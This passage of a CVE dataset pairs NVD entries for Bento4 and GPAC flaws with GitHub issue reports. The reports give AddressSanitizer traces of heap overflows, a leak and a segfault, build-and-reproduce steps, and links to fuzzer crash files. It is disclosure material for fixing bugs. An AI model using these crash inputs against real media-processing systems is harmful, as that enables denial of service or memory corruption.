#10 0x490228 in AP4_StsdAtom::AP4_StsdAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4StsdAtom.cpp:101
#11 0x491bd0 in AP4_StsdAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4StsdAtom.cpp:57
#12 0x50aaae in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:458
#13 0x50ecb6 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234
#14 0x577862 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194
#15 0x577862 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139
#16 0x5785a6 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88
#17 0x507f53 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:816
#18 0x50ecb6 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234
#19 0x5aea82 in AP4_DrefAtom::AP4_DrefAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4DrefAtom.cpp:84
#20 0x5aeff7 in AP4_DrefAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4DrefAtom.cpp:50
#21 0x509882 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:580
#22 0x50ecb6 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234
#23 0x577862 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194
#24 0x577862 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139
#25 0x5785a6 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88
#26 0x507f53 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:816
#27 0x50ecb6 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234
#28 0x577862 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194
#29 0x577862 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139
#30 0x5785a6 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88
#31 0x507f53 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:816
#32 0x50ecb6 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234
#33 0x577862 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194
#34 0x577862 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139
#35 0x5785a6 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88
#36 0x507f53 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:816
#37 0x50dd7a in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234
#38 0x50dd7a in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:154
#39 0x418daf in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /root/Bento4/Source/C++/Core/Ap4File.cpp:104
#40 0x418daf in AP4_File::AP4_File(AP4_ByteStream&, bool) /root/Bento4/Source/C++/Core/Ap4File.cpp:78
#41 0x4040d7 in main /root/Bento4/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:250
#42 0x7ffff61bb83f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
#43 0x408508 in _start (/root/Bento4/mp42aac+0x408508)
0x60300000ed28 is located 0 bytes to the right of 24-byte region [0x60300000ed10,0x60300000ed28)
allocated by thread T0 here:
#0 0x7ffff6f03712 in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99712)
#1 0x4147b5 in AP4_DataBuffer::AP4_DataBuffer(unsigned int) /root/Bento4/Source/C++/Core/Ap4DataBuffer.cpp:55
#2 0x17 (<unknown module>)
SUMMARY: AddressSanitizer: heap-buffer-overflow /root/Bento4/Source/C++/Core/Ap4Dec3Atom.cpp:161 AP4_Dec3Atom::AP4_Dec3Atom(unsigned int, unsigned char const*)
Shadow bytes around the buggy address:
0x0c067fff9d50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9d60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9d70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff9d90: fa fa fa fa fa fa fa fa fa fa fa fa 00 00 00 fa
=>0x0c067fff9da0: fa fa 00 00 00[fa]fa fa 00 00 00 fa fa fa 00 00
0x0c067fff9db0: 00 fa fa fa 00 00 00 fa fa fa 00 00 00 fa fa fa
0x0c067fff9dc0: 00 00 00 fa fa fa 00 00 00 fa fa fa 00 00 00 fa
0x0c067fff9dd0: fa fa 00 00 00 fa fa fa 00 00 00 fa fa fa 00 00
0x0c067fff9de0: 00 fa fa fa 00 00 00 fa fa fa 00 00 00 fa fa fa
0x0c067fff9df0: 00 00 00 fa fa fa 00 00 00 fa fa fa 00 00 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==27304==ABORTING
### Crash input
https://github.com/17ssDP/fuzzer_crashes/blob/main/Bento4/mp42aac-hbo-00
### Validation steps
git clone https://github.com/axiomatic-systems/Bento4
cd Bento4/
mkdir check_build && cd check_build
cmake ../ -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-fsanitize=address" -DCMAKE_CXX_FLAGS="-fsanitize=address" -DCMAKE_BUILD_TYPE=Release
make -j
./mp42aac mp42aac-hbo-00 /dev/null
### Environment
Ubuntu 16.04
Clang 10.0.1
gcc 5.5
|
Heap-buffer-overflow with ASAN in mp42aac
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/762/comments
| 0 |
2022-09-19T06:13:40Z
|
2022-09-19T06:18:56Z
|
https://github.com/axiomatic-systems/Bento4/issues/762
| 1,377,452,573 | 762 |
CVE-2022-43037
|
2022-10-19T14:15:10.043
|
An issue was discovered in Bento4 1.6.0-639. There is a memory leak in the function AP4_File::ParseStream in /Core/Ap4File.cpp.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/788"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/788
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
Hi, developers of Bento4:
In the test of the binary mp42aac instrumented with ASAN. There are some inputs causing memory leaks. Here is the ASAN mode output. The output is different from #763.
=================================================================
==6659==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 64 byte(s) in 1 object(s) allocated from:
#0 0x7f8d891f0592 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99592)
#1 0x418dff in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /root/Bento4/Source/C++/Core/Ap4File.cpp:108
#2 0x418dff in AP4_File::AP4_File(AP4_ByteStream&, bool) /root/Bento4/Source/C++/Core/Ap4File.cpp:78
SUMMARY: AddressSanitizer: 64 byte(s) leaked in 1 allocation(s).
### Crash Input
https://github.com/17ssDP/fuzzer_crashes/blob/main/Bento4/mp42aac-ml-01
### Verification steps：
git clone https://github.com/axiomatic-systems/Bento4
cd Bento4/
mkdir check_build && cd check_build
cmake ../ -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-fsanitize=address" -DCMAKE_CXX_FLAGS="-fsanitize=address" -DCMAKE_BUILD_TYPE=Release
make -j
./mp42aac mp42aac-ml-01 /dev/null
### Environment
Ubuntu 16.04
Clang 10.0.1
gcc 5.5
|
Memory leaks with ASAN in mp42aac
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/788/comments
| 0 |
2022-10-04T06:40:25Z
|
2023-05-29T02:51:19Z
|
https://github.com/axiomatic-systems/Bento4/issues/788
| 1,395,742,603 | 788 |
CVE-2022-43038
|
2022-10-19T14:15:10.090
|
Bento4 v1.6.0-639 was discovered to contain a heap overflow via the AP4_BitReader::ReadCache() function in mp42ts.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/787"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/787
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
Hi, developers of Bento4:
In the test of the binary mp42ts instrumented with ASAN. There are some inputs causing heap-buffer-overflow. Here is the ASAN mode output. The output is different from #764
=================================================================
==3902==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60400000df38 at pc 0x0000004a51a6 bp 0x7ffc109910f0 sp 0x7ffc109910e0
READ of size 1 at 0x60400000df38 thread T0
#0 0x4a51a5 in AP4_BitReader::ReadCache() const /root/Bento4/Source/C++/Core/Ap4Utils.cpp:447
#1 0x4a51a5 in AP4_BitReader::ReadBits(unsigned int) /root/Bento4/Source/C++/Core/Ap4Utils.cpp:467
#2 0x5405fc in AP4_Dac4Atom::AP4_Dac4Atom(unsigned int, unsigned char const*) /root/Bento4/Source/C++/Core/Ap4Dac4Atom.cpp:313
#3 0x5423a2 in AP4_Dac4Atom::Create(unsigned int, AP4_ByteStream&) /root/Bento4/Source/C++/Core/Ap4Dac4Atom.cpp:58
#4 0x4f47c5 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:776
#5 0x4f955a in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234
#6 0x51a25e in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194
#7 0x487d31 in AP4_SampleEntry::Read(AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4SampleEntry.cpp:115
#8 0x487d31 in AP4_AudioSampleEntry::AP4_AudioSampleEntry(unsigned int, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4SampleEntry.cpp:420
#9 0x487d31 in AP4_Ac4SampleEntry::AP4_Ac4SampleEntry(unsigned int, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4SampleEntry.cpp:801
#10 0x4f1aad in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:342
#11 0x4f955a in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234
#12 0x6134a9 in AP4_StsdAtom::AP4_StsdAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4StsdAtom.cpp:101
#13 0x61534b in AP4_StsdAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4StsdAtom.cpp:57
#14 0x4f55a6 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:458
#15 0x4f955a in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234
#16 0x5181d5 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194
#17 0x5181d5 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139
#18 0x518fce in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /root/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88
#19 0x4f2b69 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:816
#20 0x4f865c in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234
#21 0x4f865c in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /root/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:154
#22 0x41c87f in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /root/Bento4/Source/C++/Core/Ap4File.cpp:104
#23 0x41c87f in AP4_File::AP4_File(AP4_ByteStream&, bool) /root/Bento4/Source/C++/Core/Ap4File.cpp:78
#24 0x40441f in main /root/Bento4/Source/C++/Apps/Mp42Ts/Mp42Ts.cpp:511
#25 0x7fb1c343783f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
#26 0x40ad98 in _start (/root/Bento4/mp42ts+0x40ad98)
0x60400000df38 is located 0 bytes to the right of 40-byte region [0x60400000df10,0x60400000df38)
allocated by thread T0 here:
#0 0x7fb1c417f712 in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99712)
#1 0x4199e5 in AP4_DataBuffer::ReallocateBuffer(unsigned int) /root/Bento4/Source/C++/Core/Ap4DataBuffer.cpp:210
#2 0x4199e5 in AP4_DataBuffer::SetBufferSize(unsigned int) /root/Bento4/Source/C++/Core/Ap4DataBuffer.cpp:136
SUMMARY: AddressSanitizer: heap-buffer-overflow /root/Bento4/Source/C++/Core/Ap4Utils.cpp:447 AP4_BitReader::ReadCache() const
Shadow bytes around the buggy address:
0x0c087fff9b90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff9ba0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff9bb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff9bc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff9bd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c087fff9be0: fa fa 00 00 00 00 00[fa]fa fa 00 00 00 00 06 fa
0x0c087fff9bf0: fa fa 00 00 00 00 06 fa fa fa 00 00 00 00 00 00
0x0c087fff9c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff9c10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff9c20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff9c30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==3902==ABORTING
### Crash input
https://github.com/17ssDP/fuzzer_crashes/blob/main/Bento4/mp42ts-hbo-01
### Validation steps
git clone https://github.com/axiomatic-systems/Bento4
cd Bento4/
mkdir check_build && cd check_build
cmake ../ -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-fsanitize=address" -DCMAKE_CXX_FLAGS="-fsanitize=address" -DCMAKE_BUILD_TYPE=Release
make -j
./mp42ts mp42ts-hbo-01 /dev/null
### Environment
Ubuntu 16.04
Clang 10.0.1
gcc 5.5
|
Heap-buffer-overflow with ASAN in mp42ts
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/787/comments
| 0 |
2022-10-04T06:36:03Z
|
2023-05-29T02:51:18Z
|
https://github.com/axiomatic-systems/Bento4/issues/787
| 1,395,738,652 | 787 |
CVE-2022-43039
|
2022-10-19T14:15:10.137
|
GPAC 2.1-DEV-rev368-gfd054169b-master was discovered to contain a segmentation violation via the function gf_isom_meta_restore_items_ref at /isomedia/meta.c.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2281"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4D3D58A-C3C9-4441-A84A-FB91FD19985C",
"versionEndExcluding": "2.2.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2281
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
### Description
SEGV in isomedia/meta.c:1929 in gf_isom_meta_restore_items_ref
### Version
```
$ ./MP4Box -version
MP4Box - GPAC version 2.1-DEV-rev368-gfd054169b-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
```
### Replay
```
git clone https://github.com/gpac/gpac.git
cd gpac
./configure --enable-sanitizer
make -j$(nproc)
./bin/gcc/MP4Box -info mp4box-info-segv-0
```
### POC
https://github.com/17ssDP/fuzzer_crashes/blob/main/gpac/mp4box-info-segv-0
### ASAN
```
[iso file] Read Box type 0003E8d (0x0003E864) at position 653 has size 0 but is not at root/file level. Forbidden, skipping end of parent box !
[iso file] Missing DataInformationBox
[iso file] Box "minf" (start 645) has 3400 extra bytes
[iso file] Track with no sample table !
[iso file] Track with no sample description box !
[isom] not enough bytes in box A9too: 29 left, reading 41 (file isomedia/box_code_apple.c, line 117)
[iso file] Read Box "A9too" (start 4122) failed (Invalid IsoMedia File) - skipping
[iso file] Read Box "ilst" (start 4114) failed (Invalid IsoMedia File) - skipping
[iso file] Read Box type 000000! (0x00000021) at position 4077 has size 0 but is not at root/file level. Forbidden, skipping end of parent box !
[iso file] Box "meta" (start 4069) has 74 extra bytes
ASAN:DEADLYSIGNAL
=================================================================
==57686==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000002c (pc 0x7fb4c621a438 bp 0x000000000000 sp 0x7fff370fe330 T0)
==57686==The signal is caused by a READ memory access.
==57686==Hint: address points to the zero page.
#0 0x7fb4c621a437 in gf_isom_meta_restore_items_ref isomedia/meta.c:1929
#1 0x7fb4c60c4127 in gf_isom_parse_movie_boxes_internal isomedia/isom_intern.c:429
#2 0x7fb4c60d00e5 in gf_isom_parse_movie_boxes isomedia/isom_intern.c:866
#3 0x7fb4c60d00e5 in gf_isom_open_file isomedia/isom_intern.c:986
#4 0x5627a34e0048 in mp4box_main /gpac/applications/mp4box/mp4box.c:6175
#5 0x7fb4c5089c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#6 0x5627a34b30a9 in _start (/gpac/bin/gcc/MP4Box+0x4e0a9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV isomedia/meta.c:1929 in gf_isom_meta_restore_items_ref
==57686==ABORTING
```
### Environment
```
Ubuntu 16.04
Clang 10.0.1
gcc 5.5
```
|
SEGV isomedia/meta.c:1929 in gf_isom_meta_restore_items_ref
|
https://api.github.com/repos/gpac/gpac/issues/2281/comments
| 0 |
2022-10-09T08:34:59Z
|
2022-10-10T15:44:28Z
|
https://github.com/gpac/gpac/issues/2281
| 1,402,199,623 | 2,281 |
CVE-2022-43040
|
2022-10-19T14:15:10.183
|
GPAC 2.1-DEV-rev368-gfd054169b-master was discovered to contain a heap buffer overflow via the function gf_isom_box_dump_start_ex at /isomedia/box_funcs.c.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/gpac/gpac/issues/2280"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gpac:gpac:*:*:*:*:*:*:*:*",
"matchCriteriaId": "B4D3D58A-C3C9-4441-A84A-FB91FD19985C",
"versionEndExcluding": "2.2.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/gpac/gpac/issues/2280
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"gpac",
"gpac"
] |
### Description
Heap-buffer-overflow in isomedia/box_funcs.c:2074 in gf_isom_box_dump_start_ex
### Version
```
$ ./MP4Box -version
MP4Box - GPAC version 2.1-DEV-rev368-gfd054169b-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
```
### Replay
```
git clone https://github.com/gpac/gpac.git
cd gpac
./configure --enable-sanitizer
make -j$(nproc)
./bin/gcc/MP4Box -diso mp4box-diso-heap-buffer-over-flow-1
```
### POC
https://github.com/17ssDP/fuzzer_crashes/blob/main/gpac/mp4box-diso-heap-buffer-over-flow-1
### ASAN
```
[iso file] Read Box type 04@0004 (0x04400004) at position 94 has size 0 but is not at root/file level. Forbidden, skipping end of parent box !
[iso file] Box "meta" (start 32) has 206 extra bytes
[iso file] Box "uuid" (start 4061) has 58 extra bytes
[iso file] Incomplete box mdat - start 4151 size 54847
[iso file] Incomplete file while reading for dump - aborting parsing
=================================================================
==18099==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x604000000540 at pc 0x7f54a04dd880 bp 0x7ffcec3ea7e0 sp 0x7ffcec3ea7d0
READ of size 1 at 0x604000000540 thread T0
